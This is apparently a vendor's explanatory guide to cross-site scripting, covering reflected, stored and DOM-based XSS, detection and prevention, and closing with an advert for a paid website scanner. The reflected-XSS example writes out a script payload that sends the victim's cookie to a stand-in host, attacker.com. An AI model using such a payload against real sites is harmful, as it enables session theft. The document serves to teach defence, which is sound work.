XSS Is One of the Most Common Web Vulnerabilities — And Most Websites Don't Check For It
Cross-site scripting — XSS — has been in the OWASP Top 10 list of critical web application security risks for over two decades. It consistently ranks as one of the most commonly found vulnerabilities across web applications of every size.
It's also widely misunderstood. "It just pops an alert box" is the dismissive response you'll sometimes hear. That's the proof-of-concept payload — it tells you script execution is possible. What an attacker actually does with that execution is a different story.
This guide explains what XSS is, the three main types, how attackers exploit it, and how to find it on your own site.
What Is Cross-Site Scripting?
Cross-site scripting occurs when a web application takes user-supplied input and includes it in its HTML output without properly encoding or escaping it. This allows an attacker to inject JavaScript into pages that are then served to other users.
The "cross-site" part of the name refers to the fact that the malicious script originates from a third party (the attacker) but executes in the context of the victim's browser session — on the legitimate website. The browser has no way to distinguish the injected script from legitimate site code.
The impact is significant because JavaScript running in a browser has access to the DOM of the page (all content the user sees), cookies for that domain (including session tokens), local and session storage, the ability to make HTTP requests as the user, the ability to redirect the user to any URL, and the ability to modify page content in real time.
The Three Types of XSS
1. Reflected XSS
The malicious payload is embedded in a URL or form parameter and reflected back in the immediate response. The victim must be tricked into visiting a specially crafted URL — typically via phishing, a malicious link in an email, or a link shortener.
**Example:**
A search page at `https://example.com/search?q=shoes` returns:
```html <p>You searched for: shoes</p> ```
If the `q` parameter is reflected without encoding:
``` https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script> ```
The response becomes:
```html <p>You searched for: <script>document.location='https://attacker.com/steal?c='+document.cookie</script></p> ```
The script executes in the victim's browser, exfiltrating their session cookie to the attacker's server.
**How detection works:** Automated scanners submit XSS payloads in URL parameters and form fields, then analyse the response to determine whether the payload was reflected without encoding. A payload like `javascript:alert(1)` being present in the HTML response unmodified is evidence of a potential reflected XSS condition.
2. Stored XSS
The malicious payload is stored in the application's database and served to users who view the affected content. This is the more dangerous variant — the attacker doesn't need to target individual victims; anyone who visits the page is affected.
**Common injection points:** Comment fields, product reviews, user profile fields, forum posts, support ticket systems, any user-generated content that is subsequently displayed to others.
**Example attack:** An attacker submits a product review containing a script payload. Every customer who visits that product page has the script execute in their browser — potentially stealing session cookies at scale, or silently redirecting customers to a lookalike checkout page.
3. DOM-Based XSS
The vulnerability exists entirely in client-side JavaScript code rather than in the server's response. The server response itself may be perfectly safe — the issue is in how the browser's JavaScript reads from a source (like `document.location` or `localStorage`) and writes to a sink (like `innerHTML` or `document.write`) without sanitisation.
**Why it's harder to find:** DOM-based XSS often won't be detected by scanners that only analyse server responses — the payload never reaches the server. Detection requires JavaScript execution in a real browser environment, which is why browser-based automated testing is more effective for this class.
Real-World Impact Beyond the Alert Box
When security researchers demonstrate XSS with `alert(1)`, they're proving script execution is possible — not demonstrating the full attack. Real XSS exploitation looks like this:
**Session hijacking:** Steal the victim's session cookie and use it to authenticate to the application as them, without needing their password.
**Credential harvesting:** Modify the login form on the page to send credentials to an attacker-controlled server before submitting them to the real server. The victim logs in successfully and suspects nothing.
**Keylogging:** Inject a script that captures every keystroke on the page and exfiltrates it — effective for payment forms that don't store card details server-side.
**Cryptocurrency mining:** Run mining scripts in the victim's browser without their knowledge or consent.
**Defacement:** Modify the visible content of the page — damaging to brand reputation and trust.
**CSRF bypass:** Use XSS to perform state-changing requests (password changes, email changes, purchases) on behalf of the victim using their authenticated session.
How to Find XSS Vulnerabilities on Your Site
Automated Scanning
Automated security scanners test XSS by submitting crafted payloads across every discoverable input parameter — URL parameters, form fields, headers, JSON bodies — and analysing responses for evidence of reflection without encoding.
A quality scanner will test multiple payload types (HTML-context, attribute-context, JavaScript-context), verify actual reflection in the response body not just submission success, report confidence levels (confirmed vs probable), and provide reproduction steps.
An automated scan of a site like `https://example.com/search` with the `q` parameter would submit payloads and check whether they appear unencoded in the HTML response.
Manual Verification
Automated detection flags probable XSS — manual browser verification confirms it. After an automated scanner reports a probable reflected XSS:
1. Craft a test URL with the payload 2. Open it in a browser 3. Observe whether the script executes (e.g., an alert fires, or browser developer tools show the script executing)
For stored XSS, submit the payload through the application's normal workflow and then visit the page that would display it.
Source Code Review
If you have access to the application's source code, search for dangerous patterns:
- Server-side: Any point where user input is written to a response without encoding (`innerHTML`, `.html()`, server-side template interpolation without escaping) - Client-side: Use of `innerHTML`, `document.write`, `.html()`, `eval()`, `setTimeout()` with string arguments where data flows from user-controlled sources
Preventing XSS
The primary defence is output encoding: any user-supplied content that is written into an HTML context must be HTML-encoded before output. Most modern frameworks do this automatically — but the vulnerability creeps in when developers bypass the framework's built-in protections, use older templating methods, or handle certain contexts (JavaScript strings, HTML attributes) incorrectly.
**Defence layers:** - Output encoding appropriate to the context (HTML, JavaScript, CSS, URL) - Content Security Policy (CSP) to restrict which scripts can execute - HttpOnly flag on session cookies to prevent JavaScript access - Input validation as a secondary layer, not a primary defence
Check Your Site
If you don't know whether your site has XSS vulnerabilities, run a scan. An automated scanner will test your site's input parameters and give you a clear answer with evidence — no guesswork required.
[Test your site for XSS and 40+ other vulnerabilities at yrzoai.dev →](https://yrzoai.dev)
Find out if your website has these vulnerabilities
Yrzo AI runs 44 automated security checks and delivers a full report in under 20 minutes. Starting from £399.
Scan your website →